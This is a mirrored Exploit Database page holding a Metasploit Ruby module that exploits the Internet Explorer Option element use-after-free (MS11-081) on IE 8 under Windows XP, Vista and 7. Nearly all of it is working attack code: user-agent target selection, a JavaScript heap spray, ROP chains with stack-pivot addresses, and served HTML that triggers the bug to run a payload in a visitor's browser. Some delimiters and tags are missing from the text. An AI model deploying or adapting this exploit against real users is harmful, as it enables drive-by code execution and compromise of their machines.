Microsoft Internet Explorer – Option Element Use-After-Free (MS11-081) (Metasploit)

Exploit Database
109 阅读

作者： Metasploit

日期： 2013-01-10
类别：
- remote
平台：
- windows
来源：https://www.exploit-db.com/exploits/24020/

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# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = NormalRanking

include Msf::Exploit::Remote::HttpServer::HTML

include Msf::Exploit::RopDb

def initialize(info={})

super(update_info(info,

'Name' => "Microsoft Internet Explorer Option Element Use-After-Free",

'Description'=> %q{

This module exploits a vulnerability in Microsoft Internet Explorer.A memory

corruption may occur when the Option cache isn't updated properly, which allows

other JavaScript methods to access a deleted Option element, and results in code

execution under the context of the user.

'License'=> MSF_LICENSE,

'Author' =>

[

'Ivan Fratric',#Initial discovery

'juan vazquez',#Metasploit

'sinn3r' #Metasploit

'References' =>

[

[ 'CVE', '2011-1996' ],

[ 'MSB', 'MS11-081' ],

[ 'URL', 'http://ifsec.blogspot.com/2011/10/internet-explorer-option-element-remote.html' ],

[ 'URL', 'http://pastebin.com/YLH725Aj' ]

'Payload'=>

{

'StackAdjustment' => -3500,

'DefaultOptions'=>

{

'InitialAutoRunScript' => 'migrate -f'

'Platform' => 'win',

'Targets'=>

[

[ 'Automatic', {} ],

[ 'IE 8 on Windows XP SP3', { 'Rop' => :msvcrt, 'Offset' => 0x4f8, 'OffsetVirtualFunc' => 502 } ],

[ 'IE 8 on Windows Vista',{ 'Rop' => :jre,'Offset' => 0x4f8, 'OffsetVirtualFunc' => 502 } ],

[ 'IE 8 on Windows 7',{ 'Rop' => :jre,'Offset' => 0x4f8, 'OffsetVirtualFunc' => 502 } ]

'Privileged' => false,

'DisclosureDate' => "Oct 11 2012",

'DefaultTarget'=> 0))

register_options(

[

OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])

], self.class)

end

def get_target(agent)

#If the user is already specified by the user, we'll just use that

return target if target.name != 'Automatic'

nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''

ie = agent.scan(/MSIE (\d)/).flatten[0] || ''

ie_name = "IE #{ie}"

case nt

when '5.1'

os_name = 'Windows XP SP3'

when '6.0'

os_name = 'Windows Vista'

when '6.1'

os_name = 'Windows 7'

end

targets.each do |t|

if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))

print_status("Target selected as: #{t.name}")

return t

end

return nil

end

def ie_heap_spray(my_target, p)

js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))

js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch))

js_random_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(my_target.arch))

js = %Q|

function heap_spray() {

var heap_obj = new heapLib.ie(0x20000);

var code = unescape("#{js_code}");

var nops = unescape("#{js_nops}");

while (nops.length < 0x80000) nops += nops;

var offset = nops.substring(0, #{my_target['Offset']});

var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);

while (shellcode.length < 0x40000) shellcode += shellcode;

var block = shellcode.substring(0, (0x80000-6)/2);

heap_obj.gc();

for (var i=1; i < 0x300; i++) {

heap_obj.alloc(block);

}

var overflow = nops.substring(0, 10);

}

js = heaplib(js, {:noobfu => true})

if datastore['OBFUSCATE']

js = ::Rex::Exploitation::JSObfu.new(js)

js.obfuscate

@heap_spray_func = js.sym("heap_spray")

end

return js

end

def get_payload(t, cli)

code = payload.encoded

# No rop. Just return the payload.

return code if t['Rop'].nil?

# Both ROP chains generated by mona.py - See corelan.be

case t['Rop']

when :msvcrt

print_status("Using msvcrt ROP")

rop_payload = generate_rop_payload('msvcrt', "", {'target'=>'xp'})

rop_payload << make_nops(t['OffsetVirtualFunc']-rop_payload.length)

rop_payload << "\xeb\x04" # jmp $+6

rop_payload << [0x77c15ed5].pack("V") # 0x0c0c0c0 # stackpivot => xchg eax, esp # ret

rop_payload << code

else

print_status("Using JRE ROP")

rop_payload = generate_rop_payload('java', '')

rop_payload << make_nops(t['OffsetVirtualFunc']-rop_payload.length)

rop_payload << "\xeb\x08" # jmp $+10

rop_payload << [0x7c348b05].pack("V") # stackpivot => xchg eax, esp # ret

rop_payload << code

end

return rop_payload

end

def load_exploit_html(my_target, cli)

@heap_spray_func = "heap_spray"

p= get_payload(my_target, cli)

js = ie_heap_spray(my_target, p)

#var fakeobj = unescape("%u0c0c%u0c0c");

#call to 0c0c0c0c

#eax ==> 0c0c0a14

html = %Q|

<!DOCTYPE html>

<html>

<head>

#{js}

function ivan()

{

var fakeobj = unescape("%u0a14%u0c0c");

fakeobj += unescape("%u4141%u4141");

while (fakeobj.length <= 0x38/2) fakeobj += unescape("%u4141%u4141");

var formobj, selobj, optobj;

selobj = document.getElementById("select1");

formobj = selobj.form;

var imgarray = new Array();

for(var j = 0; j < 500; j++) {

imgarray.push(document.createElement("img"));

}

for(var i=0;i<5;i++) {

optobj = document.createElement('option');

optobj.text = "test";

selobj.add(optobj);

}

selobj.innerText = "foo";

for(var i = 0; i < imgarray.length; i++) {

imgarray[i].title = fakeobj.substring(0, 0x38 / 2 - 1);

}

#{@heap_spray_func}();

formobj.reset();

}

</script>

</head>

</select>

</form>

</body>

</html>

return html

end

def on_request_uri(cli, request)

agent = request.headers['User-Agent']

uri = request.uri

print_status("Requesting: #{uri}")

my_target = get_target(agent)

# Avoid the attack if no suitable target found

if my_target.nil?

print_error("Browser not supported, sending 404: #{agent}")

send_not_found(cli)

return

end

html = load_exploit_html(my_target, cli)

html = html.gsub(/^\t\t/, '')

print_status("Sending HTML...")

send_response(cli, html, {'Content-Type'=>'text/html'})

end